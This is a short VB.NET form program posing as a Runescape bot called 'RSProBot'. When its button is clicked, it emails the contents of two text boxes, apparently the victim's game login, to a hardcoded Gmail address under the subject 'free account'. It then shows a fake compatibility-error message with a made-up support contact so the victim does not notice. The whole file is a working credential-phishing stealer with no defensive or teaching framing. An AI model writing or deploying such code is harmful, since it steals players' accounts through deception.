code
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("XXXXXXX@gmail.com")
MyMailMessage.To.Add("XXXXXXX@gmail.com")
MyMailMessage.Subject = ("free account")
MyMailMessage.Body = TextBox1.Text + "-" + TextBox2.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("XXXXXXXX@gmail.com", "XXXXXXXXX")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("This version of RSProBot is not compatible with the current Runescape Client. Please contact our support team at: Support@ProBot.net", MsgBoxStyle.Information, "Compatability Error")
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
End
End Sub
End Class